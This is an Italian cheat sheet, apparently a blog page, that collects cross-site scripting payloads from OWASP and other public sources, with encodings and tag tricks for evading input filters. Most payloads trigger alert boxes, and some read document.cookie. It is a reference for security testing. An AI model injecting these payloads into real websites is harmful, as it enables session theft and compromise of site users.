Tipologie di attacchi Cross Site Scripting - XSS Cheat Sheet

Questa pagina è stata creata con l’intento di raccogliere le principali tipologie di attacchi Cross Site Scripting, in modo da avere a disposizione alcuni dei payload più utilizzati. Per chi non conoscesse le basi dell’attacco, Owasp Top 10 - Cross Site Scripting.

La fonte principale è la guida di OWASP all’evasione dei filtri di XSS, presa a sua volta dall’ormai defunto Ha.ckers.org. Altre fonti sono questi file, Xenuser, HTML5SEC e XSS-payloads.

Un’altra guida utile è quella di PortSwigger

La lista degli oggetti in Javascript è presente su W3Schools, insieme a tutta la documentazione.

Localizzare la vulnerabilità

La maniera più semplice è inserire una stringa e vedere la pagina sorgente dopo averla iniettata. Se <XSS si trasforma in <XSS è possibile che ci sia qualche filtro o la stringa passata venga sanitizzata

'";!<XSS>=()

Altre stringe utili per vedere se è vulnerabile possono essere:

';alert(String.fromCharCode(88,83,83))//' 
;alert(String.fromCharCode(88,83,83))//" 
;alert(String.fromCharCode(88,83,83))//" 
;alert(String.fromCharCode(88,83,83))//--
>< /SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

Nessun filtraggio

Nel caso non ci sia nessun tipo di filtraggio, le stringhe suggerite sono

<script>alert('xss')</script>

<script>prompt('xss')</script>

<script>alert(document.cookie)</script>

Script tag

<script>confirm('xss')</script>

<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

<scr<script>ipt>alert('xss')</scr</script>ipt>

<scrscriptipt>alert(1)</scrscriptipt>

Script tag convertito

<code>&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x22;&#x78;&#x73;&#x73;&#x22;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;</code>

<code>&#60&#115&#99&#114&#105&#112&#116&#62&#97&#108&#101&#114&#116&#40&#34&#120&#115&#115&#34&#41&#60&#47&#115&#99&#114&#105&#112&#116&#62</code>

XSS con immagini

Nel caso venga filtrato il tag script, è possibile utilizzare Javascript nel tag _img. _

Caso semplice

<img src="javascript:alert('xss');">

Senza virgolette e punto e virgola

<img src=javascript:alert('xss')>

Case sensitive

Può essere utilizzato nel caso venga filtrata la parola javascript

<img src=JavaScriPT:alert('xss')>

Accenti gravi

L’accento grave si ottiene con la combinazione ALTGR+?

<img src=`javascript:alert("presente, 'xss'")`>

Tag malformato

In questa stringa il tag img risulta aperto e viene incapsulato in esso lo script

<img """><script>alert("xss")</script>">

Da Char a Decimale

Nel caso le virgolette non siano ammesse, è possibile sfruttare la funzione fromCharCode di javascript, che converte la stringa in decimale, secondo la tabella Unicode

<img src=javascript:alert(String.fromCharCode(120,115,115))>

Javascript codificato in HTML

Nel caso siano presenti filtri, è possibile codificare in HTML la stringa passata

<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>

Javascript codificato in HEX

Come sopra, se ci sono particolari filtri, questo può essere un buon metodo per evaderli

<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

IMG lowsrc

<img lowsrc="javascript:alert('xss')">

Javascript negli eventi

Nel caso src abbia qualche tipo di filtraggio, è possibile inserire eventi nel tag img ed incapsularci javascript. Una lista esaustiva degli eventi si trova qui. Alcuni esempi possono essere

SRC tag di default

<img src=# onmouseover="alert('xss')">

SRC tag vuoto

<img src= onmouseover="alert('xss')">

senza tag SRC

<img onmouseover="alert('xss')">

SRC tag in home

<img src=/ onmouseover="alert('xss')">

Javascript codificato

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

Javascript con tab

È possibile inserire un tab nella stringa javascript al fine di evadere certi filtraggi

<img src="jav    ascript:alert('xss');">

Javascript codificato con tab

Si può codificare il tab ed inserire il codice in HEX

<img src="jav&#x09;ascript:alert('xss');">

Javascript codificato con newline

Oltre al tab si può inserire un newline o un ritorno a capo ed inserire il codice in HEX

<img src="jav&#x0A;ascript:alert('xss');">  //newline

<img src="jac&#x0D;ascript:alert('xss');">  //ritorno a capo

Input Image

 <input type="image" src="javascript:alert('xss');">

Body Image

<body background="javascript:alert('xss')">

VBscript

 <img src='vbscript:msgbox("xss")'>

SVG tag

 <svg/onload=alert('xss')>

Body tag

<body onload=alert('xss')>

BGSOUND tag

<bgsound src="javascript:alert('xss');">
<link rel="stylesheet" href="javascript:alert('xss');">

STYLE tag con background-image

<style>.XSS{background-image:ulr("javascript:alert('xss')");}</style>

STYLE tag con background

<style type="text/css">BODY{background:url("javascript:alert('xss')")}</style>

IFRAME tag

<iframe src="javascript:alert('xss');"></iframe>

IFRAME tag con evento

<iframe src=# onmouseover="alert(document.cookie)"></iframe>

FRAME tag

<frameset><frame src="javascript:alert('xss');"></frameset>

TABLE tag

<table background="javascript:alert('xss')">

<table><td background="javascript:alert('xss')">

DIV tag

<DIV STYLE="background-image: url(javascript:alert('XSS'))">

<DIV STYLE="width: expression(alert('XSS'));">

<div onmouseover='alert&lpar;1&rpar;'>DIV</div>

EMBED SRC tag

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>

FONT tag

<font style='color:expression(alert(document.cookie))'>

VAR tag

<var onmouseover="prompt(1)">On Mouse Over</var>?

AUDIO tag

<audio src=1 href=1 onerror="javascript:alert(1)"></audio>

Chiaramente possono esistere infinite altre possibilità, basta trovare la combinazione giusta per il proprio caso. Non ho inserito casi particolari, visto che la pagina di OWASP è decisamente più esaustiva.